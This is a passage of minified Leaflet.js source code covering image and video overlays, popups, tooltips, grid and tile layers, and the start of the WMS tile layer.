!ve(this._latlngs[0]), n=Ke(this._latlngs, e ? 2 :i ? 1 :0, !0, t);return i || (n=[n]), Ye(this,{type:(e ? "Multi" :"") + "Polygon", coordinates:n})}}), Ze.include({toMultiPoint:function (i){var e=[];return this.eachLayer(function (t){e.push(t.toGeoJSON(i).geometry.coordinates)}), Ye(this,{type:"MultiPoint", coordinates:e})}, toGeoJSON:function (n){var t=this.feature && this.feature.geometry && this.feature.geometry.type;if ("MultiPoint"===t) return this.toMultiPoint(n);var o="GeometryCollection"===t, s=[];return this.eachLayer(function (t){if (t.toGeoJSON){var i=t.toGeoJSON(n);if (o) s.push(i.geometry);else{var e=Xe(i);"FeatureCollection"===e.type ? s.push.apply(s, e.features) :s.push(e)}}}), o ? Ye(this,{geometries:s, type:"GeometryCollection"}) :{type:"FeatureCollection", features:s}}});var Qe=$e, tn=Se.extend({options:{opacity:1, alt:"", interactive:!1, crossOrigin:!1, errorOverlayUrl:"", zIndex:1, className:""}, initialize:function (t, i, e){this._url=t, this._bounds=D(i), p(this, e)}, onAdd:function (){this._image || (this._initImage(), this.options.opacity < 1 && this._updateOpacity()), this.options.interactive && (mi(this._image, "leaflet-interactive"), this.addInteractiveTarget(this._image)), this.getPane().appendChild(this._image), this._reset()}, onRemove:function (){li(this._image), this.options.interactive && this.removeInteractiveTarget(this._image)}, setOpacity:function (t){return this.options.opacity=t, this._image && this._updateOpacity(), this}, setStyle:function (t){return t.opacity && this.setOpacity(t.opacity), this}, bringToFront:function (){return this._map && _i(this._image), this}, bringToBack:function (){return this._map && di(this._image), this}, setUrl:function (t){return this._url=t, this._image && (this._image.src=t), this}, setBounds:function (t){return this._bounds=D(t), this._map && this._reset(), this}, getEvents:function (){var t={zoom:this._reset, viewreset:this._reset};return this._zoomAnimated && (t.zoomanim=this._animateZoom), t}, setZIndex:function (t){return this.options.zIndex=t, this._updateZIndex(), this}, getBounds:function (){return this._bounds}, getElement:function (){return this._image}, _initImage:function (){var t="IMG"===this._url.tagName, i=this._image=t ? this._url :ui("img");mi(i, "leaflet-image-layer"), this._zoomAnimated && mi(i, "leaflet-zoom-animated"), this.options.className && mi(i, this.options.className), i.onselectstart=l, i.onmousemove=l, i.onload=a(this.fire, this, "load"), i.onerror=a(this._overlayOnError, this, "error"), !this.options.crossOrigin && "" !==this.options.crossOrigin || (i.crossOrigin=!0===this.options.crossOrigin ? "" :this.options.crossOrigin), this.options.zIndex && this._updateZIndex(), t ? this._url=i.src :(i.src=this._url, i.alt=this.options.alt)}, _animateZoom:function (t){var i=this._map.getZoomScale(t.zoom), e=this._map._latLngBoundsToNewLayerBounds(this._bounds, t.zoom, t.center).min;wi(this._image, e, i)}, _reset:function (){var t=this._image, i=new O(this._map.latLngToLayerPoint(this._bounds.getNorthWest()), this._map.latLngToLayerPoint(this._bounds.getSouthEast())), e=i.getSize();Pi(t, i.min), t.style.width=e.x + "px", t.style.height=e.y + "px"}, _updateOpacity:function (){yi(this._image, this.options.opacity)}, _updateZIndex:function (){this._image && void 0 !==this.options.zIndex && null !==this.options.zIndex && (this._image.style.zIndex=this.options.zIndex)}, _overlayOnError:function (){this.fire("error");var t=this.options.errorOverlayUrl;t && this._url !==t && (this._url=t, this._image.src=t)}}), en=tn.extend({options:{autoplay:!0, loop:!0, keepAspectRatio:!0}, _initImage:function (){var t="VIDEO"===this._url.tagName, i=this._image=t ? this._url :ui("video");if (mi(i, "leaflet-image-layer"), this._zoomAnimated && mi(i, "leaflet-zoom-animated"), this.options.className && mi(i, this.options.className), i.onselectstart=l, i.onmousemove=l, i.onloadeddata=a(this.fire, this, "load"), t){for (var e=i.getElementsByTagName("source"), n=[], o=0;o < e.length;o++)n.push(e[o].src);this._url=0 < e.length ? n :[i.src]}else{v(this._url) || (this._url=[this._url]), !this.options.keepAspectRatio && i.style.hasOwnProperty("objectFit") && (i.style.objectFit="fill"), i.autoplay=!!this.options.autoplay, i.loop=!!this.options.loop;for (var s=0;s < this._url.length;s++){var r=ui("source");r.src=this._url[s], i.appendChild(r)}}}});var nn=tn.extend({_initImage:function (){var t=this._image=this._url;mi(t, "leaflet-image-layer"), this._zoomAnimated && mi(t, "leaflet-zoom-animated"), this.options.className && mi(t, this.options.className), t.onselectstart=l, t.onmousemove=l}});var on=Se.extend({options:{offset:[0, 7], className:"", pane:"popupPane"}, initialize:function (t, i){p(this, t), this._source=i}, onAdd:function (t){this._zoomAnimated=t._zoomAnimated, this._container || this._initLayout(), t._fadeAnimated && yi(this._container, 0), clearTimeout(this._removeTimeout), this.getPane().appendChild(this._container), this.update(), t._fadeAnimated && yi(this._container, 1), this.bringToFront()}, onRemove:function (t){t._fadeAnimated ? (yi(this._container, 0), this._removeTimeout=setTimeout(a(li, void 0, this._container), 200)) :li(this._container)}, getLatLng:function (){return this._latlng}, setLatLng:function (t){return this._latlng=W(t), this._map && (this._updatePosition(), this._adjustPan()), this}, getContent:function (){return this._content}, setContent:function (t){return this._content=t, this.update(), this}, getElement:function (){return this._container}, update:function (){this._map && (this._container.style.visibility="hidden", this._updateContent(), this._updateLayout(), this._updatePosition(), this._container.style.visibility="", this._adjustPan())}, getEvents:function (){var t={zoom:this._updatePosition, viewreset:this._updatePosition};return this._zoomAnimated && (t.zoomanim=this._animateZoom), t}, isOpen:function (){return !!this._map && this._map.hasLayer(this)}, bringToFront:function (){return this._map && _i(this._container), this}, bringToBack:function (){return this._map && di(this._container), this}, _prepareOpen:function (t, i, e){if (i instanceof Se || (e=i, i=t), i instanceof ke) for (var n in t._layers){i=t._layers[n];break}if (!e) if (i.getCenter) e=i.getCenter();else{if (!i.getLatLng) throw new Error("Unable to get source layer LatLng.");e=i.getLatLng()}return this._source=i, this.update(), e}, _updateContent:function (){if (this._content){var t=this._contentNode, i="function"==typeof this._content ? this._content(this._source || this) :this._content;if ("string"==typeof i) t.innerHTML=i;else{for (;t.hasChildNodes();)t.removeChild(t.firstChild);t.appendChild(i)}this.fire("contentupdate")}}, _updatePosition:function (){if (this._map){var t=this._map.latLngToLayerPoint(this._latlng), i=I(this.options.offset), e=this._getAnchor();this._zoomAnimated ? Pi(this._container, t.add(e)) :i=i.add(t).add(e);var n=this._containerBottom=-i.y, o=this._containerLeft=-Math.round(this._containerWidth / 2) + i.x;this._container.style.bottom=n + "px", this._container.style.left=o + "px"}}, _getAnchor:function (){return [0, 0]}}), sn=on.extend({options:{maxWidth:300, minWidth:50, maxHeight:null, autoPan:!0, autoPanPaddingTopLeft:null, autoPanPaddingBottomRight:null, autoPanPadding:[5, 5], keepInView:!1, closeButton:!0, autoClose:!0, closeOnEscapeKey:!0, className:""}, openOn:function (t){return t.openPopup(this), this}, onAdd:function (t){on.prototype.onAdd.call(this, t), t.fire("popupopen",{popup:this}), this._source && (this._source.fire("popupopen",{popup:this}, !0), this._source instanceof Re || this._source.on("preclick", Ri))}, onRemove:function (t){on.prototype.onRemove.call(this, t), t.fire("popupclose",{popup:this}), this._source && (this._source.fire("popupclose",{popup:this}, !0), this._source instanceof Re || this._source.off("preclick", Ri))}, getEvents:function (){var t=on.prototype.getEvents.call(this);return (void 0 !==this.options.closeOnClick ? this.options.closeOnClick :this._map.options.closePopupOnClick) && (t.preclick=this._close), this.options.keepInView && (t.moveend=this._adjustPan), t}, _close:function (){this._map && this._map.closePopup(this)}, _initLayout:function (){var t="leaflet-popup", i=this._container=ui("div", t + " " + (this.options.className || "") + " leaflet-zoom-animated"), e=this._wrapper=ui("div", t + "-content-wrapper", i);if (this._contentNode=ui("div", t + "-content", e), Di(e), Ni(this._contentNode), ki(e, "contextmenu", Ri), this._tipContainer=ui("div", t + "-tip-container", i), this._tip=ui("div", t + "-tip", this._tipContainer), this.options.closeButton){var n=this._closeButton=ui("a", t + "-close-button", i);n.href="#close", n.innerHTML="×", ki(n, "click", this._onCloseButtonClick, this)}}, _updateLayout:function (){var t=this._contentNode, i=t.style;i.width="", i.whiteSpace="nowrap";var e=t.offsetWidth;e=Math.min(e, this.options.maxWidth), e=Math.max(e, this.options.minWidth), i.width=e + 1 + "px", i.whiteSpace="", i.height="";var n=t.offsetHeight, o=this.options.maxHeight, s="leaflet-popup-scrolled";o && o < n ? (i.height=o + "px", mi(t, s)) :fi(t, s), this._containerWidth=this._container.offsetWidth}, _animateZoom:function (t){var i=this._map._latLngToNewLayerPoint(this._latlng, t.zoom, t.center), e=this._getAnchor();Pi(this._container, i.add(e))}, _adjustPan:function (){if (this.options.autoPan){this._map._panAnim && this._map._panAnim.stop();var t=this._map, i=parseInt(hi(this._container, "marginBottom"), 10) || 0, e=this._container.offsetHeight + i, n=this._containerWidth, o=new B(this._containerLeft, -e - this._containerBottom);o._add(Li(this._container));var s=t.layerPointToContainerPoint(o), r=I(this.options.autoPanPadding), a=I(this.options.autoPanPaddingTopLeft || r), h=I(this.options.autoPanPaddingBottomRight || r), u=t.getSize(), l=0, c=0;s.x + n + h.x > u.x && (l=s.x + n - u.x + h.x), s.x - l - a.x < 0 && (l=s.x - a.x), s.y + e + h.y > u.y && (c=s.y + e - u.y + h.y), s.y - c - a.y < 0 && (c=s.y - a.y), (l || c) && t.fire("autopanstart").panBy([l, c])}}, _onCloseButtonClick:function (t){this._close(), Wi(t)}, _getAnchor:function (){return I(this._source && this._source._getPopupAnchor ? this._source._getPopupAnchor() :[0, 0])}});$i.mergeOptions({closePopupOnClick:!0}), $i.include({openPopup:function (t, i, e){return t instanceof sn || (t=new sn(e).setContent(t)), i && t.setLatLng(i), this.hasLayer(t) ? this :(this._popup && this._popup.options.autoClose && this.closePopup(), this._popup=t, this.addLayer(t))}, closePopup:function (t){return t && t !==this._popup || (t=this._popup, this._popup=null), t && this.removeLayer(t), this}}), Se.include({bindPopup:function (t, i){return t instanceof sn ? (p(t, i), (this._popup=t)._source=this) :(this._popup && !i || (this._popup=new sn(i, this)), this._popup.setContent(t)), this._popupHandlersAdded || (this.on({click:this._openPopup, keypress:this._onKeyPress, remove:this.closePopup, move:this._movePopup}), this._popupHandlersAdded=!0), this}, unbindPopup:function (){return this._popup && (this.off({click:this._openPopup, keypress:this._onKeyPress, remove:this.closePopup, move:this._movePopup}), this._popupHandlersAdded=!1, this._popup=null), this}, openPopup:function (t, i){return this._popup && this._map && (i=this._popup._prepareOpen(this, t, i), this._map.openPopup(this._popup, i)), this}, closePopup:function (){return this._popup && this._popup._close(), this}, togglePopup:function (t){return this._popup && (this._popup._map ? this.closePopup() :this.openPopup(t)), this}, isPopupOpen:function (){return !!this._popup && this._popup.isOpen()}, setPopupContent:function (t){return this._popup && this._popup.setContent(t), this}, getPopup:function (){return this._popup}, _openPopup:function (t){var i=t.layer || t.target;this._popup && this._map && (Wi(t), i instanceof Re ? this.openPopup(t.layer || t.target, t.latlng) :this._map.hasLayer(this._popup) && this._popup._source===i ? this.closePopup() :this.openPopup(i, t.latlng))}, _movePopup:function (t){this._popup.setLatLng(t.latlng)}, _onKeyPress:function (t){13===t.originalEvent.keyCode && this._openPopup(t)}});var rn=on.extend({options:{pane:"tooltipPane", offset:[0, 0], direction:"auto", permanent:!1, sticky:!1, interactive:!1, opacity:.9}, onAdd:function (t){on.prototype.onAdd.call(this, t), this.setOpacity(this.options.opacity), t.fire("tooltipopen",{tooltip:this}), this._source && this._source.fire("tooltipopen",{tooltip:this}, !0)}, onRemove:function (t){on.prototype.onRemove.call(this, t), t.fire("tooltipclose",{tooltip:this}), this._source && this._source.fire("tooltipclose",{tooltip:this}, !0)}, getEvents:function (){var t=on.prototype.getEvents.call(this);return Tt && !this.options.permanent && (t.preclick=this._close), t}, _close:function (){this._map && this._map.closeTooltip(this)}, _initLayout:function (){var t="leaflet-tooltip " + (this.options.className || "") + " leaflet-zoom-" + (this._zoomAnimated ? "animated" :"hide");this._contentNode=this._container=ui("div", t)}, _updateLayout:function (){}, _adjustPan:function (){}, _setPosition:function (t){var i=this._map, e=this._container, n=i.latLngToContainerPoint(i.getCenter()), o=i.layerPointToContainerPoint(t), s=this.options.direction, r=e.offsetWidth, a=e.offsetHeight, h=I(this.options.offset), u=this._getAnchor();t="top"===s ? t.add(I(-r / 2 + h.x, -a + h.y + u.y, !0)) :"bottom"===s ? t.subtract(I(r / 2 - h.x, -h.y, !0)) :"center"===s ? t.subtract(I(r / 2 + h.x, a / 2 - u.y + h.y, !0)) :"right"===s || "auto"===s && o.x < n.x ? (s="right", t.add(I(h.x + u.x, u.y - a / 2 + h.y, !0))) :(s="left", t.subtract(I(r + u.x - h.x, a / 2 - u.y - h.y, !0))), fi(e, "leaflet-tooltip-right"), fi(e, "leaflet-tooltip-left"), fi(e, "leaflet-tooltip-top"), fi(e, "leaflet-tooltip-bottom"), mi(e, "leaflet-tooltip-" + s), Pi(e, t)}, _updatePosition:function (){var t=this._map.latLngToLayerPoint(this._latlng);this._setPosition(t)}, setOpacity:function (t){this.options.opacity=t, this._container && yi(this._container, t)}, _animateZoom:function (t){var i=this._map._latLngToNewLayerPoint(this._latlng, t.zoom, t.center);this._setPosition(i)}, _getAnchor:function (){return I(this._source && this._source._getTooltipAnchor && !this.options.sticky ? this._source._getTooltipAnchor() :[0, 0])}});$i.include({openTooltip:function (t, i, e){return t instanceof rn || (t=new rn(e).setContent(t)), i && t.setLatLng(i), this.hasLayer(t) ? this :this.addLayer(t)}, closeTooltip:function (t){return t && this.removeLayer(t), this}}), Se.include({bindTooltip:function (t, i){return t instanceof rn ? (p(t, i), (this._tooltip=t)._source=this) :(this._tooltip && !i || (this._tooltip=new rn(i, this)), this._tooltip.setContent(t)), this._initTooltipInteractions(), this._tooltip.options.permanent && this._map && this._map.hasLayer(this) && this.openTooltip(), this}, unbindTooltip:function (){return this._tooltip && (this._initTooltipInteractions(!0), this.closeTooltip(), this._tooltip=null), this}, _initTooltipInteractions:function (t){if (t || !this._tooltipHandlersAdded){var i=t ? "off" :"on", e={remove:this.closeTooltip, move:this._moveTooltip};this._tooltip.options.permanent ? e.add=this._openTooltip :(e.mouseover=this._openTooltip, e.mouseout=this.closeTooltip, this._tooltip.options.sticky && (e.mousemove=this._moveTooltip), Tt && (e.click=this._openTooltip)), this[i](e), this._tooltipHandlersAdded=!t}}, openTooltip:function (t, i){return this._tooltip && this._map && (i=this._tooltip._prepareOpen(this, t, i), this._map.openTooltip(this._tooltip, i), this._tooltip.options.interactive && this._tooltip._container && (mi(this._tooltip._container, "leaflet-clickable"), this.addInteractiveTarget(this._tooltip._container))), this}, closeTooltip:function (){return this._tooltip && (this._tooltip._close(), this._tooltip.options.interactive && this._tooltip._container && (fi(this._tooltip._container, "leaflet-clickable"), this.removeInteractiveTarget(this._tooltip._container))), this}, toggleTooltip:function (t){return this._tooltip && (this._tooltip._map ? this.closeTooltip() :this.openTooltip(t)), this}, isTooltipOpen:function (){return this._tooltip.isOpen()}, setTooltipContent:function (t){return this._tooltip && this._tooltip.setContent(t), this}, getTooltip:function (){return this._tooltip}, _openTooltip:function (t){var i=t.layer || t.target;this._tooltip && this._map && this.openTooltip(i, this._tooltip.options.sticky ? t.latlng :void 0)}, _moveTooltip:function (t){var i, e, n=t.latlng;this._tooltip.options.sticky && t.originalEvent && (i=this._map.mouseEventToContainerPoint(t.originalEvent), e=this._map.containerPointToLayerPoint(i), n=this._map.layerPointToLatLng(e)), this._tooltip.setLatLng(n)}});var an=Be.extend({options:{iconSize:[12, 12], html:!1, bgPos:null, className:"leaflet-div-icon"}, createIcon:function (t){var i=t && "DIV"===t.tagName ? t :document.createElement("div"), e=this.options;if (e.html instanceof Element ? (ci(i), i.appendChild(e.html)) :i.innerHTML=!1 !==e.html ? e.html :"", e.bgPos){var n=I(e.bgPos);i.style.backgroundPosition=-n.x + "px " + -n.y + "px"}return this._setIconStyles(i, "icon"), i}, createShadow:function (){return null}});Be.Default=Ae;var hn=Se.extend({options:{tileSize:256, opacity:1, updateWhenIdle:xt, updateWhenZooming:!0, updateInterval:200, zIndex:1, bounds:null, minZoom:0, maxZoom:void 0, maxNativeZoom:void 0, minNativeZoom:void 0, noWrap:!1, pane:"tilePane", className:"", keepBuffer:2}, initialize:function (t){p(this, t)}, onAdd:function (){this._initContainer(), this._levels={}, this._tiles={}, this._resetView(), this._update()}, beforeAdd:function (t){t._addZoomLimit(this)}, onRemove:function (t){this._removeAllTiles(), li(this._container), t._removeZoomLimit(this), this._container=null, this._tileZoom=void 0}, bringToFront:function (){return this._map && (_i(this._container), this._setAutoZIndex(Math.max)), this}, bringToBack:function (){return this._map && (di(this._container), this._setAutoZIndex(Math.min)), this}, getContainer:function (){return this._container}, setOpacity:function (t){return this.options.opacity=t, this._updateOpacity(), this}, setZIndex:function (t){return this.options.zIndex=t, this._updateZIndex(), this}, isLoading:function (){return this._loading}, redraw:function (){return this._map && (this._removeAllTiles(), this._update()), this}, getEvents:function (){var t={viewprereset:this._invalidateAll, viewreset:this._resetView, zoom:this._resetView, moveend:this._onMoveEnd};return this.options.updateWhenIdle || (this._onMove || (this._onMove=o(this._onMoveEnd, this.options.updateInterval, this)), t.move=this._onMove), this._zoomAnimated && (t.zoomanim=this._animateZoom), t}, createTile:function (){return document.createElement("div")}, getTileSize:function (){var t=this.options.tileSize;return t instanceof B ? t :new B(t, t)}, _updateZIndex:function (){this._container && void 0 !==this.options.zIndex && null !==this.options.zIndex && (this._container.style.zIndex=this.options.zIndex)}, _setAutoZIndex:function (t){for (var i, e=this.getPane().children, n=-t(-1 / 0, 1 / 0), o=0, s=e.length;o < s;o++)i=e[o].style.zIndex, e[o] !==this._container && i && (n=t(n, +i));isFinite(n) && (this.options.zIndex=n + t(-1, 1), this._updateZIndex())}, _updateOpacity:function (){if (this._map && !et){yi(this._container, this.options.opacity);var t=+new Date, i=!1, e=!1;for (var n in this._tiles){var o=this._tiles[n];if (o.current && o.loaded){var s=Math.min(1, (t - o.loaded) / 200);yi(o.el, s), s < 1 ? i=!0 :(o.active ? e=!0 :this._onOpaqueTile(o), o.active=!0)}}e && !this._noPrune && this._pruneTiles(), i && (C(this._fadeFrame), this._fadeFrame=M(this._updateOpacity, this))}}, _onOpaqueTile:l, _initContainer:function (){this._container || (this._container=ui("div", "leaflet-layer " + (this.options.className || "")), this._updateZIndex(), this.options.opacity < 1 && this._updateOpacity(), this.getPane().appendChild(this._container))}, _updateLevels:function (){var t=this._tileZoom, i=this.options.maxZoom;if (void 0 !==t){for (var e in this._levels) this._levels[e].el.children.length || e===t ? (this._levels[e].el.style.zIndex=i - Math.abs(t - e), this._onUpdateLevel(e)) :(li(this._levels[e].el), this._removeTilesAtZoom(e), this._onRemoveLevel(e), delete this._levels[e]);var n=this._levels[t], o=this._map;return n || ((n=this._levels[t]={}).el=ui("div", "leaflet-tile-container leaflet-zoom-animated", this._container), n.el.style.zIndex=i, n.origin=o.project(o.unproject(o.getPixelOrigin()), t).round(), n.zoom=t, this._setZoomTransform(n, o.getCenter(), o.getZoom()), n.el.offsetWidth, this._onCreateLevel(n)), this._level=n}}, _onUpdateLevel:l, _onRemoveLevel:l, _onCreateLevel:l, _pruneTiles:function (){if (this._map){var t, i, e=this._map.getZoom();if (e > this.options.maxZoom || e < this.options.minZoom) this._removeAllTiles();else{for (t in this._tiles) (i=this._tiles[t]).retain=i.current;for (t in this._tiles) if ((i=this._tiles[t]).current && !i.active){var n=i.coords;this._retainParent(n.x, n.y, n.z, n.z - 5) || this._retainChildren(n.x, n.y, n.z, n.z + 2)}for (t in this._tiles) this._tiles[t].retain || this._removeTile(t)}}}, _removeTilesAtZoom:function (t){for (var i in this._tiles) this._tiles[i].coords.z===t && this._removeTile(i)}, _removeAllTiles:function (){for (var t in this._tiles) this._removeTile(t)}, _invalidateAll:function (){for (var t in this._levels) li(this._levels[t].el), this._onRemoveLevel(t), delete this._levels[t];this._removeAllTiles(), this._tileZoom=void 0}, _retainParent:function (t, i, e, n){var o=Math.floor(t / 2), s=Math.floor(i / 2), r=e - 1, a=new B(+o, +s);a.z=+r;var h=this._tileCoordsToKey(a), u=this._tiles[h];return u && u.active ? u.retain=!0 :(u && u.loaded && (u.retain=!0), n < r && this._retainParent(o, s, r, n))}, _retainChildren:function (t, i, e, n){for (var o=2 * t;o < 2 * t + 2;o++)for (var s=2 * i;s < 2 * i + 2;s++){var r=new B(o, s);r.z=e + 1;var a=this._tileCoordsToKey(r), h=this._tiles[a];h && h.active ? h.retain=!0 :(h && h.loaded && (h.retain=!0), e + 1 < n && this._retainChildren(o, s, e + 1, n))}}, _resetView:function (t){var i=t && (t.pinch || t.flyTo);this._setView(this._map.getCenter(), this._map.getZoom(), i, i)}, _animateZoom:function (t){this._setView(t.center, t.zoom, !0, t.noUpdate)}, _clampZoom:function (t){var i=this.options;return void 0 !==i.minNativeZoom && t < i.minNativeZoom ? i.minNativeZoom :void 0 !==i.maxNativeZoom && i.maxNativeZoom < t ? i.maxNativeZoom :t}, _setView:function (t, i, e, n){var o=this._clampZoom(Math.round(i));(void 0 !==this.options.maxZoom && o > this.options.maxZoom || void 0 !==this.options.minZoom && o < this.options.minZoom) && (o=void 0);var s=this.options.updateWhenZooming && o !==this._tileZoom;n && !s || (this._tileZoom=o, this._abortLoading && this._abortLoading(), this._updateLevels(), this._resetGrid(), void 0 !==o && this._update(t), e || this._pruneTiles(), this._noPrune=!!e), this._setZoomTransforms(t, i)}, _setZoomTransforms:function (t, i){for (var e in this._levels) this._setZoomTransform(this._levels[e], t, i)}, _setZoomTransform:function (t, i, e){var n=this._map.getZoomScale(e, t.zoom), o=t.origin.multiplyBy(n).subtract(this._map._getNewPixelOrigin(i, e)).round();yt ? wi(t.el, o, n) :Pi(t.el, o)}, _resetGrid:function (){var t=this._map, i=t.options.crs, e=this._tileSize=this.getTileSize(), n=this._tileZoom, o=this._map.getPixelWorldBounds(this._tileZoom);o && (this._globalTileRange=this._pxBoundsToTileRange(o)), this._wrapX=i.wrapLng && !this.options.noWrap && [Math.floor(t.project([0, i.wrapLng[0]], n).x / e.x), Math.ceil(t.project([0, i.wrapLng[1]], n).x / e.y)], this._wrapY=i.wrapLat && !this.options.noWrap && [Math.floor(t.project([i.wrapLat[0], 0], n).y / e.x), Math.ceil(t.project([i.wrapLat[1], 0], n).y / e.y)]}, _onMoveEnd:function (){this._map && !this._map._animatingZoom && this._update()}, _getTiledPixelBounds:function (t){var i=this._map, e=i._animatingZoom ? Math.max(i._animateToZoom, i.getZoom()) :i.getZoom(), n=i.getZoomScale(e, this._tileZoom), o=i.project(t, this._tileZoom).floor(), s=i.getSize().divideBy(2 * n);return new O(o.subtract(s), o.add(s))}, _update:function (t){var i=this._map;if (i){var e=this._clampZoom(i.getZoom());if (void 0===t && (t=i.getCenter()), void 0 !==this._tileZoom){var n=this._getTiledPixelBounds(t), o=this._pxBoundsToTileRange(n), s=o.getCenter(), r=[], a=this.options.keepBuffer, h=new O(o.getBottomLeft().subtract([a, -a]), o.getTopRight().add([a, -a]));if (!(isFinite(o.min.x) && isFinite(o.min.y) && isFinite(o.max.x) && isFinite(o.max.y))) throw new Error("Attempted to load an infinite number of tiles");for (var u in this._tiles){var l=this._tiles[u].coords;l.z===this._tileZoom && h.contains(new B(l.x, l.y)) || (this._tiles[u].current=!1)}if (1 < Math.abs(e - this._tileZoom)) this._setView(t, e);else{for (var c=o.min.y;c <=o.max.y;c++)for (var _=o.min.x;_ <=o.max.x;_++){var d=new B(_, c);if (d.z=this._tileZoom, this._isValidTile(d)){var p=this._tiles[this._tileCoordsToKey(d)];p ? p.current=!0 :r.push(d)}}if (r.sort(function (t, i){return t.distanceTo(s) - i.distanceTo(s)}), 0 !==r.length){this._loading || (this._loading=!0, this.fire("loading"));var m=document.createDocumentFragment();for (_=0;_ < r.length;_++)this._addTile(r[_], m);this._level.el.appendChild(m)}}}}}, _isValidTile:function (t){var i=this._map.options.crs;if (!i.infinite){var e=this._globalTileRange;if (!i.wrapLng && (t.x < e.min.x || t.x > e.max.x) || !i.wrapLat && (t.y < e.min.y || t.y > e.max.y)) return !1}if (!this.options.bounds) return !0;var n=this._tileCoordsToBounds(t);return D(this.options.bounds).overlaps(n)}, _keyToBounds:function (t){return this._tileCoordsToBounds(this._keyToTileCoords(t))}, _tileCoordsToNwSe:function (t){var i=this._map, e=this.getTileSize(), n=t.scaleBy(e), o=n.add(e);return [i.unproject(n, t.z), i.unproject(o, t.z)]}, _tileCoordsToBounds:function (t){var i=this._tileCoordsToNwSe(t), e=new N(i[0], i[1]);return this.options.noWrap || (e=this._map.wrapLatLngBounds(e)), e}, _tileCoordsToKey:function (t){return t.x + ":" + t.y + ":" + t.z}, _keyToTileCoords:function (t){var i=t.split(":"), e=new B(+i[0], +i[1]);return e.z=+i[2], e}, _removeTile:function (t){var i=this._tiles[t];i && (li(i.el), delete this._tiles[t], this.fire("tileunload",{tile:i.el, coords:this._keyToTileCoords(t)}))}, _initTile:function (t){mi(t, "leaflet-tile");var i=this.getTileSize();t.style.width=i.x + "px", t.style.height=i.y + "px", t.onselectstart=l, t.onmousemove=l, et && this.options.opacity < 1 && yi(t, this.options.opacity), st && !rt && (t.style.WebkitBackfaceVisibility="hidden")}, _addTile:function (t, i){var e=this._getTilePos(t), n=this._tileCoordsToKey(t), o=this.createTile(this._wrapCoords(t), a(this._tileReady, this, t));this._initTile(o), this.createTile.length < 2 && M(a(this._tileReady, this, t, null, o)), Pi(o, e), this._tiles[n]={el:o, coords:t, current:!0}, i.appendChild(o), this.fire("tileloadstart",{tile:o, coords:t})}, _tileReady:function (t, i, e){i && this.fire("tileerror",{error:i, tile:e, coords:t});var n=this._tileCoordsToKey(t);(e=this._tiles[n]) && (e.loaded=+new Date, this._map._fadeAnimated ? (yi(e.el, 0), C(this._fadeFrame), this._fadeFrame=M(this._updateOpacity, this)) :(e.active=!0, this._pruneTiles()), i || (mi(e.el, "leaflet-tile-loaded"), this.fire("tileload",{tile:e.el, coords:t})), this._noTilesToLoad() && (this._loading=!1, this.fire("load"), et || !this._map._fadeAnimated ? M(this._pruneTiles, this) :setTimeout(a(this._pruneTiles, this), 250)))}, _getTilePos:function (t){return t.scaleBy(this.getTileSize()).subtract(this._level.origin)}, _wrapCoords:function (t){var i=new B(this._wrapX ? r(t.x, this._wrapX) :t.x, this._wrapY ? r(t.y, this._wrapY) :t.y);return i.z=t.z, i}, _pxBoundsToTileRange:function (t){var i=this.getTileSize();return new O(t.min.unscaleBy(i).floor(), t.max.unscaleBy(i).ceil().subtract([1, 1]))}, _noTilesToLoad:function (){for (var t in this._tiles) if (!this._tiles[t].loaded) return !1;return !0}});var un=hn.extend({options:{minZoom:0, maxZoom:18, subdomains:"abc", errorTileUrl:"", zoomOffset:0, tms:!1, zoomReverse:!1, detectRetina:!1, crossOrigin:!1}, initialize:function (t, i){this._url=t, (i=p(this, i)).detectRetina && Ct && 0 < i.maxZoom && (i.tileSize=Math.floor(i.tileSize / 2), i.zoomReverse ? (i.zoomOffset--, i.minZoom++) :(i.zoomOffset++, i.maxZoom--), i.minZoom=Math.max(0, i.minZoom)), "string"==typeof i.subdomains && (i.subdomains=i.subdomains.split("")), st || this.on("tileunload", this._onTileRemove)}, setUrl:function (t, i){return this._url===t && void 0===i && (i=!0), this._url=t, i || this.redraw(), this}, createTile:function (t, i){var e=document.createElement("img");return ki(e, "load", a(this._tileOnLoad, this, i, e)), ki(e, "error", a(this._tileOnError, this, i, e)), !this.options.crossOrigin && "" !==this.options.crossOrigin || (e.crossOrigin=!0===this.options.crossOrigin ? "" :this.options.crossOrigin), e.alt="", e.setAttribute("role", "presentation"), e.src=this.getTileUrl(t), e}, getTileUrl:function (t){var i={r:Ct ? "@2x" :"", s:this._getSubdomain(t), x:t.x, y:t.y, z:this._getZoomForUrl()};if (this._map && !this._map.options.crs.infinite){var e=this._globalTileRange.max.y - t.y;this.options.tms && (i.y=e), i["-y"]=e}return g(this._url, h(i, this.options))}, _tileOnLoad:function (t, i){et ? setTimeout(a(t, this, null, i), 0) :t(null, i)}, _tileOnError:function (t, i, e){var n=this.options.errorTileUrl;n && i.getAttribute("src") !==n && (i.src=n), t(e, i)}, _onTileRemove:function (t){t.tile.onload=null}, _getZoomForUrl:function (){var t=this._tileZoom, i=this.options.maxZoom;return this.options.zoomReverse && (t=i - t), t + this.options.zoomOffset}, _getSubdomain:function (t){var i=Math.abs(t.x + t.y) % this.options.subdomains.length;return this.options.subdomains[i]}, _abortLoading:function (){var t, i;for (t in this._tiles) this._tiles[t].coords.z !==this._tileZoom && ((i=this._tiles[t].el).onload=l, i.onerror=l, i.complete || (i.src=x, li(i), delete this._tiles[t]))}, _removeTile:function (t){var i=this._tiles[t];if (i) return ht || i.el.setAttribute("src", x), hn.prototype._removeTile.call(this, t)}, _tileReady:function (t, i, e){if (this._map && (!e || e.getAttribute("src") !==x)) return hn.prototype._tileReady.call(this, t, i, e)}});function ln(t, i){return new un(t, i)}var cn=un.extend({defaultWmsParams:{service:"WMS", request:"GetMap", layers:"", styles:"", format:"image/jpeg", transparent:!1, version:"1.1.1"}, options:{crs:null, uppercase:!1}, initialize:function (t, i){this._url=t;var e=h({}, this.defaultWmsParams);for (var n in i) n in this.options || (e[n]=i[n]);var o=(i=p(this, i)).detectRetina && Ct ? 2 :1, s=this.getTileSize();e.width=s.x * o, e.height=s.y * o, this.wmsParams=e}, onAdd:function (t){this._crs=this.options.crs || t.options.crs, this._wmsVersion=parseFloat(this.wmsParams.version);var i=1.3 <=this._wmsVersion ? "crs" :"srs";this.wmsParams[i]=this._crs.code, un.prototype.onAdd.call(this, t)}, getTileUrl:function (t){var i=this._tileCoordsToNwSe(t), e=this._crs, n=R(e.project(i[0]), e.project(i[1])), o=n.min, s=n.max, r=(1.3 <=this._wmsVersion && this._crs===Ce ? [o.y, o.x, s.y, s.x] :[o.x, o.y, s.x, s.y]).join(","), 